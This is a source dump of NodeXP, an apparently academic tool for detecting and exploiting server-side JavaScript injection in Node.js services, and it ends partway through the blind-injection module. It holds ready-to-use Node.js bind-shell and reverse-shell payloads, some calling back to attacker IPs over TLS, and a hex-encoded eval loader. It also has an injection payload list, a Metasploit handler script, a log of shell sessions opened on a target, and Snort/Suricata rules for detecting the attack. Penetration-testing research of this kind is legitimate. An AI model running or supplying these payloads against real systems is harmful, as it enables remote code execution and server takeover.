├── README.md ├── files ├── bind_shell_code.txt ├── blind_payloads.txt ├── payloads.txt ├── reverse_shell_code.txt ├── reverse_shell_ssl.txt ├── rnn.py └── ssji.rules ├── nodexp.py ├── scripts ├── encoded_1234_test.txt ├── nodejs_payload.js ├── nodejs_shell.rc └── nodejs_shell.rc.output.txt ├── src ├── __init__.py ├── __init__.pyc ├── core │ ├── __init__.py │ ├── __init__.pyc │ ├── detection │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── blind │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── blind.py │ │ │ └── blind.pyc │ │ └── results_based │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── detection.py │ │ │ └── detection.pyc │ ├── exploitation │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── exploitation.py │ │ ├── exploitation.pyc │ │ ├── options.py │ │ ├── options.pyc │ │ ├── upload.py │ │ └── upload.pyc │ └── init │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── flags_init.py │ │ ├── flags_init.pyc │ │ ├── payload_init.py │ │ ├── payload_init.pyc │ │ ├── settings.py │ │ └── settings.pyc ├── graphics │ ├── __init__.py │ ├── __init__.pyc │ ├── graphics.py │ └── graphics.pyc └── interfaces │ ├── __init__.py │ ├── __init__.pyc │ ├── functions │ ├── __init__.py │ ├── __init__.pyc │ ├── interfaces.py │ └── interfaces.pyc │ └── options │ ├── __init__.py │ ├── __init__.pyc │ ├── prompt.py │ ├── prompt.pyc │ ├── verbosity.py │ └── verbosity.pyc └── testbeds ├── GET ├── eval.js └── eval_with_keywords.js └── POST └── post.js /README.md: -------------------------------------------------------------------------------- 1 | # NodeXP - Detection and Exploitation Tool for Node.js Services! 2 | 3 | **NodeXP** is an intergrated tool, written in Python 2.7, capable of **detecting possible vulnerabilities** on **Node.js** services as well as **exploiting** them in an automated way, based on **S**(erver)**S**(ide)**J**(avascript)**I**(njection) attack! 4 | 5 | ## Getting Started - Installation & Usage 6 | 7 | Download NodeXP by cloning the Git repository: 8 | 9 | git clone https://github.com/esmog/nodexp 10 | 11 | To get a list of all options run: 12 | 13 | python2.7 nodexp -h 14 | 15 | 16 | Examples for POST and GET cases accordingly: 17 | 18 | python2.7 nodexp.py --url="http://nodegoat.herokuapp.com/contributions" --pdata="preTax=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" 19 | python2.7 nodexp.py --url="http://nodegoat.herokuapp.com/contributions" --pdata="preTax=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" --tech=blind 20 | 21 | python2.7 nodexp.py --url="http://192.168.64.30/?name=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" 22 | python2.7 nodexp.py --url="http://192.168.64.30/?name=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" --tech=blind 23 | 24 | ## Setting up and Use Testbeds 25 | 26 | In order get familiar with NodeXP you might need to set the Node.js testing services provided (/testbeds) and start using the tool. A local machine running Node.js server will be necessary. 27 | 28 | Firstly, you should install 'body-parser' and 'express' packages, in the GET and POST directories. 29 | 30 | Go to 'testbeds/GET' directory on your local machine and paste the command below in terminal: 31 | 32 | npm install express --save 33 | 34 | Go to 'testbeds/POST' directory and paste the commands below in terminal: 35 | 36 | npm install body-parser --save 37 | nmp install express --save 38 | 39 | After the correct installment of the packages you could run each service by running the command 'node' and the desirable js file (ex. node eval.js). 40 | 41 | After you server is up and running, you are ready to run NodeXP and test it upon those services! 42 | 43 | Example for GET case shown below: 44 | 45 | python2.7 nodexp.py --url=http://localiprunningnodejsserver:3001/?name=[INJECT_HERE] 46 | 47 | Example for POST case shown below: 48 | 49 | python2.7 nodexp.py --url=http://localiprunningnodejsserver:3001/post.js --pdata=username=[INJECT_HERE] 50 | 51 | ## Maintain and Update Payload files 52 | 53 | Payloads used by both Blind and Results Based Injection technique are stored in "/files/blind_payloads.txt" and in "/files/payloads.txt". 54 | 55 | Payloads are written in every odd line number of text files and, in case of Results Based Injection, their expected responses are written in every even line number of the "payloads.txt" file as a list separeted with commas. Even line numbers of the "blind_payloads.txt" file are empty. 56 | 57 | In order to stop the process of injection, "---end(nextline)---end" is used as a delimeter capable of stop parsing and injecting payloads, for both Blind and Result Based Injection cases. 58 | 59 | Every user can maintain and update the payload txt files with its own payloads, as far as she/he follows the above instructions. 60 | 61 | ## Disclaimer 62 | 63 | The tool’s purpose is strictly academic and was developed in order to conduct my master's thesis. It could also be helpful during the process of a penetration test on Node.js services. Any other malicious or illegal usage of the tool is strongly not recommended and is clearly not a part of the purpose of this research. 64 | 65 | 66 | ## Prerequisites 67 | 68 | - Python 2.7 69 | - Metasploit Framework 70 | - msfvenom 71 | - Kali Linux (or any other Linux distro with Metasploit Framework installed) 72 | 73 | 74 | ## NodeXP Testbeds 75 | 76 | - Download and run the Node.js files for both GET and POST cases from [here](https://github.com/esmog/nodexp/tree/master/testbeds) 77 | - Visit [Nodegoat](http://nodegoat.herokuapp.com) or install [Nodegoat](https://github.com/OWASP/NodeGoat) to your local machine! 78 | 79 | 80 | ## Built With 81 | 82 | * Python 2.7 83 | 84 | 85 | ## Versioning 86 | 87 | NodeXP - Version 1.2.2 88 | 89 | ## Update Notes 90 | 91 | - IDS Rules (Snort, Suricata) added, so as to detect attempts for Server Side Javascript Injection using NodeXP 92 | - Bind shell functionality and automatic payload generation added. 93 | - Reverse ssl shell functionality and automatic payload generation added. 94 | - Supports both static and dynamic payloads on Results Based Detection technique 95 | - Supports mathematical operations and concatenation on Results Based Detection technique. 96 | - External module added (Beta) for the generation of new payloads through the use of RNN (Recurrent Neural Network). 97 | 98 | ## Authors 99 | 100 | * **Dimitris Antonaropoulos** - [esmog](https://github.com/esmog) 101 | 102 | -------------------------------------------------------------------------------- /files/bind_shell_code.txt: -------------------------------------------------------------------------------- 1 | 1;(function() { 2 | var require = global.require || global.process.mainModule.constructor._load; 3 | if (!require) return; 4 | var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; 5 | var net = require("net"), 6 | cp = require("child_process"), 7 | util = require("util"); 8 | var server = net.createServer(function(socket) { 9 | var sh = cp.spawn(cmd, []); 10 | socket.pipe(sh.stdin); 11 | if (typeof util.pump === "undefined") { 12 | sh.stdout.pipe(socket); 13 | sh.stderr.pipe(socket); 14 | } else { 15 | util.pump(sh.stdout, socket); 16 | util.pump(sh.stderr, socket); 17 | } 18 | }); 19 | server.listen(1234); 20 | })(); -------------------------------------------------------------------------------- /files/blind_payloads.txt: -------------------------------------------------------------------------------- 1 | ***;var cur_date;var d=new Date();do{cur_date=new Date();}while(cur_date-d<=#time#) 2 | 3 | ---end 4 | ---end 5 | 6 | ########################## 7 | # TEST/DEBUG CASES BELOW # 8 | ########################## 9 | ***;var cur_date;var d=new Date();do{cur_date=new Date();}while(cur_date-d<=#time#) 10 | 11 | 10;var cur_date;var d=new Date();do{cur_date=new Date();}while(cur_date-d<=#time#) 12 | 13 | 10 14 | 15 | *** 16 | 17 | 10;var cur_date;var d=new Date();do{cur_date=new Date();}while(cur_date-d<=#time#) 18 | 19 | 1%20%3Bvar%20cur_date%3Bvar%20d%3Dnew%20Date%28%29%3Bdo%7Bcur_date%3Dnew%20Date%28%29%3B%7Dwhile%28cur_date-d%3C%3D#time#%29 20 | 21 | ***;var cur_date;var d=new Date();do{cur_date=new Date();}while(cur_date-d<=#time#) 22 | 23 | ---end 24 | ---end 25 | 26 | 10;var sleep = require('sleep');sleep.sleep(10); 27 | 28 | -------------------------------------------------------------------------------- /files/payloads.txt: -------------------------------------------------------------------------------- 1 | eval(12592*123) 2 | 1548816 3 | #{eval(12592*123)} 4 | 1548816 5 | ${eval(12592*123)} 6 | 1548816 7 | eval(237760666/2) 8 | 118880333 9 | res.end("12592"+"123") 10 | 12592123 11 | response.end("12592"+"123") 12 | 12592123 13 | res.end(###) 14 | $$$ 15 | response.end(###) 16 | $$$ 17 | eval(***) 18 | $$$ 19 | eval(***) 20 | $$$ 21 | eval(###) 22 | $$$ 23 | res.end("STATIC PAYLOAD") 24 | STATIC PAYLOAD 25 | thats my payload,$$$ 26 | res.end("thats my payload - > ***") 27 | thats my payload,$$$ 28 | response.end("thats my payload - > ***") 29 | thats my payload,$$$ 30 | res.end("static and dynamic concatenation: 123TEST***") 31 | static and dynamic concatenation: 123TEST,$$$ 32 | response.end("static concatenation: 123TEST***") 33 | static and dynamic concatenation: 123TEST,$$$ 34 | res.end("ReferenceError -> ***") 35 | $$$ 36 | res.end(###) 37 | $$$ 38 | res.end('***') 39 | $$$ 40 | eval('###') 41 | $$$ 42 | eval(###) 43 | $$$ 44 | response.end(###) 45 | $$$ 46 | response.end('***') 47 | $$$ 48 | res.end('***') 49 | $$$ 50 | ---end 51 | ---end 52 | 53 | ########################## 54 | # TEST/DEBUG CASES BELOW # 55 | ########################## 56 | 10&roth=0&afterTax=0 57 | 10 58 | response.end("thats my payload -> 1 -> ***") 59 | thats my payload,1,$$$ 60 | 10&roth=0&afterTax=0 61 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError: 62 | 90&roth=0&afterTax=0 63 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError: 64 | 10&roth=0&afterTax=0; var vuln='###';eval(vuln) 65 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError:,$$$ 66 | res.end(eval('###')) 67 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError:,$$$ 68 | res.end('***') 69 | ReferenceError: res is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 70 | var%20vuln=###;eval(vuln) 71 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 72 | eval(###) 73 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 74 | eval('###') 75 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 76 | res.end('12749485') 77 | ReferenceError: response is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,12749485 78 | res.end(***) 79 | ReferenceError: res is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 80 | eval(###) 81 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 82 | res.end(owned) 83 | ReferenceError: response is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,owned 84 | res.end(eval(1952833+10)) 85 | ReferenceError: response is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,1952843 86 | res.end('eval(1952833+10)') 87 | ReferenceError: response is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,1952843 88 | rese.end('penetration'+eval(10+10)+'test') 89 | ReferenceError: response is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,penetration20test 90 | res.end('owned') 91 | ReferenceError: res is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,owned 92 | res.end(eval(1952833+10)) 93 | ReferenceError: res is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,1952843 94 | res.end('penetration'+eval(10+10)+'test') 95 | ReferenceError: res is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,penetration20test 96 | res.end('***') 97 | ReferenceError: res is not defined,ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 98 | ---end 99 | ---end 100 | eval("###") 101 | ReferenceError:,SyntaxError:,TypeError:,EvalError:,RangeError,$$$ 102 | while(1) 103 | 104 | process.exit() 105 | 106 | process.kill(process.pid) 107 | 108 | res.end(require('fs').readdirSync('.').toString()) 109 | 110 | process.arch 111 | 112 | process.argv 113 | 114 | process.argv0 115 | 116 | process.channel 117 | 118 | process.cwd() 119 | 120 | process.geteuid() 121 | 122 | process.getegid() 123 | 124 | process.getgroups() 125 | 126 | process.pid 127 | 128 | process.platform 129 | 130 | process.version 131 | -------------------------------------------------------------------------------- /files/reverse_shell_code.txt: -------------------------------------------------------------------------------- 1 | 1;(function(){ 2 | var net = require("net"), 3 | cp = require("child_process"), 4 | sh = cp.spawn("/bin/sh", []); 5 | var client = new net.Socket(); 6 | client.connect(1235, "192.168.100.23", function(){ 7 | client.pipe(sh.stdin); 8 | sh.stdout.pipe(client); 9 | sh.stderr.pipe(client); 10 | }); 11 | return /a/; 12 | })(); -------------------------------------------------------------------------------- /files/reverse_shell_ssl.txt: -------------------------------------------------------------------------------- 1 | process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; 2 | var net = require("tls"), 3 | cp = require("child_process"), 4 | util = require("util"), 5 | sh = cp.spawn(cmd, []); 6 | var client = this; 7 | var counter = 0; 8 | 9 | function StagerRepeat() { 10 | client.socket = net.connect(12347, "192.168.74.224", { 11 | rejectUnauthorized: false 12 | }, function() { 13 | client.socket.pipe(sh.stdin); 14 | if (typeof util.pump === "undefined") { 15 | sh.stdout.pipe(client.socket); 16 | sh.stderr.pipe(client.socket); 17 | } else { 18 | util.pump(sh.stdout, client.socket); 19 | util.pump(sh.stderr, client.socket); 20 | } 21 | }); 22 | socket.on("error", function(error) { 23 | counter++; 24 | if (counter <= 10) { 25 | setTimeout(function() { 26 | StagerRepeat(); 27 | }, 5 * 1000); 28 | } else process.exit(); 29 | }); 30 | } 31 | StagerRepeat(); 32 | })(); -------------------------------------------------------------------------------- /files/rnn.py: -------------------------------------------------------------------------------- 1 | from textgenrnn import textgenrnn 2 | 3 | textgen = textgenrnn() 4 | textgen.train_from_file('payloads.txt', num_epochs=100) 5 | textgen.generate_to_file('new_payloads.txt', n=200, temperature=1.0) 6 | -------------------------------------------------------------------------------- /files/ssji.rules: -------------------------------------------------------------------------------- 1 | #Rules for nodexp detection 2 | alert tcp any any -> any any (msg:"Possible SSJI exploit - Python UA"; flow:to_server, established; content:"Python-urllib"; http_header; sid:1000013; classtype: web-application-attack; rev:1;) 3 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST payload HEX Detection"; flow:to_server, established; content:"|41 44 27 29|"; http_client_body; sid:1000011; classtype: web-application-attack; rev:1;) 4 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST eval HEX Detection"; flow:to_server, established; content:"|65 76 61 6C|"; http_client_body; sid:1000012; classtype: web-application-attack; rev:1;) 5 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST res.end HEX Detection"; flow:to_server, established; content:"|72 65 73 2E 65 6E 64|"; http_client_body; sid:1000015; classtype: web-application-attack; rev:1;) 6 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST response.end HEX Detection"; flow:to_server, established; content:"|72 65 73 70 6F 6E 73 65 2E 65 6E 64|"; http_client_body; sid:1000014; classtype: web-application-attack; rev:1;) 7 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET payload HEX Detection"; flow:to_server, established; content:"|41 44 27 29|"; http_uri; sid:1000016; classtype: web-application-attack; rev:1;) 8 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET eval HEX Detection"; flow:to_server, established; content:"|65 76 61 6C|"; http_uri; sid:1000017; classtype: web-application-attack; rev:1;) 9 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET res.end HEX Detection"; flow:to_server, established; content:"|72 65 73 2E 65 6E 64|"; http_uri; sid:1000018; classtype: web-application-attack; rev:1;) 10 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET response.end HEX Detection"; flow:to_server, established; content:"|72 65 73 70 6F 6E 73 65 2E 65 6E 64|"; http_uri; sid:1000019; classtype: web-application-attack; rev:1;) 11 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST res.end Detection"; flow:to_server, established; content:"res.end"; nocase; http_client_body; sid:1000023; classtype: web-application-attack; rev:1;) 12 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST response.end Detection"; flow:to_server, established; content:"response.end"; nocase; http_client_body; sid:1000031; classtype: web-application-attack; rev:1;) 13 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST eval Detection"; flow:to_server, established; content:"eval"; nocase; http_client_body; sid:1000024; classtype: web-application-attack; rev:1;) 14 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET res.end Detection"; flow:to_server, established; content:"res.end"; nocase; http_uri; sid:1000025; classtype: web-application-attack; rev:1;) 15 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET response.end Detection"; flow:to_server, established; content:"response.end"; nocase; http_uri; sid:1000026; classtype: web-application-attack; rev:1;) 16 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET eval Detection"; flow:to_server, established; content:"eval"; nocase; http_uri; sid:1000027; classtype: web-application-attack; rev:1;) 17 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET res.end URL encoding Detection"; flow:to_server, established; pcre:"/res.end\%\w*\%\d*/"; sid:1000029; classtype: web-application-attack; rev:1;) 18 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET response.end URL encoding Detection"; flow:to_server, established; pcre:"/response.end\%\w*\%\d*/"; sid:1000030; classtype: web-application-attack; rev:1;) 19 | alert tcp any any -> any any (msg:"Possible SSJI exploit-GET eval URL encoding Detection"; flow:to_server, established; pcre:"/eval\%\d*\w*\%\w*\%\d*/"; sid:1000028; classtype: web-application-attack; rev:1;) 20 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST eval multiplication detection"; flow:to_server, established; pcre:"/eval\(\d*\*\d*\)/"; sid:1000010; classtype: web-application-attack; rev:1;) 21 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST eval devision detection"; flow:to_server, established; pcre:"/eval\(\d*\/\d*\)/"; sid:1000032; classtype: web-application-attack; rev:1;) 22 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST res.end random string detection"; pcre:"/res\.end\(.*\)$/"; sid:1000021; classtype: web-application-attack; rev:1;) 23 | alert tcp any any -> any any (msg:"Possible SSJI exploit-POST response.end random string detection"; pcre:"/response\.end\(.*\)$/"; sid:1000022; classtype: web-application-attack; rev:1;) -------------------------------------------------------------------------------- /nodexp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import src.core.init.flags_init as flags_init 13 | import src.graphics.graphics as graphics 14 | import src.interfaces.options.verbosity as verbosity 15 | import src.core.detection.results_based.detection as detection 16 | import src.core.detection.blind.blind as blind_technique 17 | from colorama import init, Fore, Back, Style 18 | init(autoreset=True) 19 | 20 | 21 | def init(): 22 | try: 23 | # Parse input 24 | user_input = flags_init.parse_input() 25 | 26 | # Show nodexp message 27 | graphics.ascii_art() 28 | 29 | # Global settings initialization & input initialization 30 | settings.init() 31 | flags_init.initialize_input(user_input) 32 | message = (Fore.WHITE + Style.DIM + "[-] Check and initialize input values") 33 | verbosity.print_message(message,settings.print_info) 34 | # Initialize input based on request method (GET or POST) 35 | flags_init.request_method() 36 | 37 | except Exception as e: 38 | print(Fore.RED + "[!] ERROR: %s" %e) 39 | verbosity.error_info(e) 40 | 41 | # Prepare nodexp 42 | if __name__ == '__main__': 43 | init() 44 | ''' 45 | try: 46 | init() 47 | except SystemExit: 48 | import sys 49 | sys.exit(0) 50 | 51 | except KeyboardInterrupt: 52 | import sys 53 | sys.exit(0) 54 | ''' 55 | 56 | # Start detection technique 57 | try: 58 | if settings.technique == 'result': 59 | print settings.start_result 60 | detection.start_detection() 61 | elif settings.technique == 'blind': 62 | print settings.start_blind 63 | blind_technique.blind_injection() 64 | else: 65 | exit(Fore.RED + "[!] ERROR: No detection technique specified!") 66 | except Exception as e: 67 | print(Fore.RED + "[!] ERROR: %s" %e) 68 | verbosity.error_info(e) 69 | 70 | -------------------------------------------------------------------------------- /scripts/encoded_1234_test.txt: -------------------------------------------------------------------------------- 1 | ;eval(new Buffer('2866756E6374696F6E28297B207661722072657175697265203D20676C6F62616C2E72657175697265207C7C20676C6F62616C2E70726F636573732E6D61696E4D6F64756C652E636F6E7374727563746F722E5F6C6F61643B20696620282172657175697265292072657475726E3B2076617220636D64203D2028676C6F62616C2E70726F636573732E706C6174666F726D2E6D61746368282F5E77696E2F692929203F2022636D6422203A20222F62696E2F7368223B20766172206E6574203D207265717569726528226E657422292C206370203D207265717569726528226368696C645F70726F6365737322292C207574696C203D207265717569726528227574696C22292C207368203D2063702E737061776E28636D642C205B5D293B2076617220636C69656E74203D20746869733B2076617220636F756E7465723D303B2066756E6374696F6E2053746167657252657065617428297B20636C69656E742E736F636B6574203D206E65742E636F6E6E65637428313233342C20223139322E3136382E36342E313238222C2066756E6374696F6E2829207B20636C69656E742E736F636B65742E706970652873682E737464696E293B2069662028747970656F66207574696C2E70756D70203D3D3D2022756E646566696E65642229207B2073682E7374646F75742E7069706528636C69656E742E736F636B6574293B2073682E7374646572722E7069706528636C69656E742E736F636B6574293B207D20656C7365207B207574696C2E70756D702873682E7374646F75742C20636C69656E742E736F636B6574293B207574696C2E70756D702873682E7374646572722C20636C69656E742E736F636B6574293B207D207D293B20736F636B65742E6F6E28226572726F72222C2066756E6374696F6E286572726F7229207B20636F756E7465722B2B3B20696628636F756E7465723C3D203130297B2073657454696D656F75742866756E6374696F6E2829207B2053746167657252657065617428293B7D2C20352A31303030293B207D20656C73652070726F636573732E6578697428293B207D293B207D2053746167657252657065617428293B207D2928293B', 'hex').toString()); 2 | -------------------------------------------------------------------------------- /scripts/nodejs_payload.js: -------------------------------------------------------------------------------- 1 | (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("tls"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(8484, "192.168.74.224", {rejectUnauthorized:false}, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })(); -------------------------------------------------------------------------------- /scripts/nodejs_shell.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload nodejs/shell_reverse_tcp_ssl 3 | set lhost 192.168.74.224 4 | set lport 8484 5 | set ExitOnSession true 6 | set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' 7 | spool /home/kali/PycharmProjects/nodexp/scripts/nodejs_shell.rc.output.txt 8 | exploit -j -z 9 | 10 | -------------------------------------------------------------------------------- /scripts/nodejs_shell.rc.output.txt: -------------------------------------------------------------------------------- 1 | [*] Spooling to file /home/kali/PycharmProjects/nodexp/scripts/nodejs_shell.rc.output.txt... 2 | resource (/home/kali/PycharmProjects/nodexp/scripts/nodejs_shell.rc)> exploit -j -z 3 | [*] Exploit running as background job 0. 4 | [*] Exploit completed, but no session was created. 5 | [?1034hmsf5 exploit(multi/handler) > 6 | [*] Started reverse SSL handler on 192.168.74.224:8484 7 | [*] Command shell session 1 opened (192.168.74.224:8484 -> 192.168.74.148:36418) at 2020-06-03 12:51:38 -0400 8 | [*] Session ID 1 (192.168.74.224:8484 -> 192.168.74.148:36418) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' 9 | [!] SESSION may not be compatible with this module. 10 | [*] Upgrading session ID: 1 11 | sessions 12 |  13 | Active sessions 14 | =============== 15 | 16 | Id Name Type Information Connection 17 | -- ---- ---- ----------- ---------- 18 | 1 shell 192.168.74.224:8484 -> 192.168.74.148:36418 (192.168.74.148) 19 | 20 | msf5 exploit(multi/handler) > session -i 1 21 | [-] Unknown command: session. 22 | msf5 exploit(multi/handler) > sessions -i 1 23 | [*] Starting interaction with 1... 24 | 25 | 26 | [-] Shells on the target platform, , cannot be upgraded to Meterpreter at this time. 27 | [*] Command shell session 2 opened (192.168.74.224:8484 -> 192.168.74.148:36420) at 2020-06-03 12:52:24 -0400 28 | [*] Session ID 2 (192.168.74.224:8484 -> 192.168.74.148:36420) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' 29 | [!] SESSION may not be compatible with this module. 30 | [*] Upgrading session ID: 2 31 | Usage: sessions 32 | 33 | Interact with a different session Id. 34 | This command only accepts one positive numeric argument. 35 | This works the same as calling this from the MSF shell: sessions -i 36 | 37 | Usage: sessions 38 | 39 | Interact with a different session Id. 40 | This command only accepts one positive numeric argument. 41 | This works the same as calling this from the MSF shell: sessions -i 42 | 43 | 44 | Abort session 1? [y/N] 45 | [*] 192.168.74.148 - Command shell session 1 closed. Reason: User exit 46 | msf5 exploit(multi/handler) > session -i 47 | [-] Unknown command: session. 48 | msf5 exploit(multi/handler) > show sessions 49 |  50 | Active sessions 51 | =============== 52 | 53 | Id Name Type Information Connection 54 | -- ---- ---- ----------- ---------- 55 | 2 shell 192.168.74.224:8484 -> 192.168.74.148:36420 (192.168.74.148) 56 | 57 | msf5 exploit(multi/handler) > session -i 12 58 | [-] Unknown command: session. 59 | msf5 exploit(multi/handler) > sessions -i 2 60 | [*] Starting interaction with 2... 61 | 62 | aKekQmDdSFodABGVOtbcyPAkpZbTldrl 63 | eval.js 64 | eval_with_keywords.js 65 | node_modules 66 | package.json 67 | eval.js 68 | eval_with_keywords.js 69 | node_modules 70 | package.json 71 | -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/__init__.pyc -------------------------------------------------------------------------------- /src/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/core/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/__init__.pyc -------------------------------------------------------------------------------- /src/core/detection/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/core/detection/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/detection/__init__.pyc -------------------------------------------------------------------------------- /src/core/detection/blind/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | 12 | pass 13 | -------------------------------------------------------------------------------- /src/core/detection/blind/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/detection/blind/__init__.pyc -------------------------------------------------------------------------------- /src/core/detection/blind/blind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import argparse 13 | import urllib 14 | import urllib2 15 | import httplib 16 | from urllib2 import HTTPError, URLError 17 | import sys 18 | import os 19 | import linecache 20 | from bs4 import* 21 | import difflib 22 | import time 23 | import requests 24 | import src.interfaces.functions.interfaces as interfaces 25 | import src.interfaces.options.verbosity as verbosity 26 | import src.interfaces.options.prompt as prompt 27 | import src.core.exploitation.exploitation as exploitation 28 | 29 | try: 30 | from urllib.parse import urlparse 31 | 32 | except ImportError: 33 | from urlparse import urlparse 34 | from colorama import init, Fore, Back, Style 35 | 36 | init(autoreset=True) 37 | 38 | def blind_injection(): 39 | try: 40 | if settings.inject_here_replace in settings.inject_here: 41 | print(Fore.YELLOW + Style.BRIGHT + '\nStarting preparation..') 42 | 43 | # Check redirection with valid parameters (e-mail, num, character) 44 | 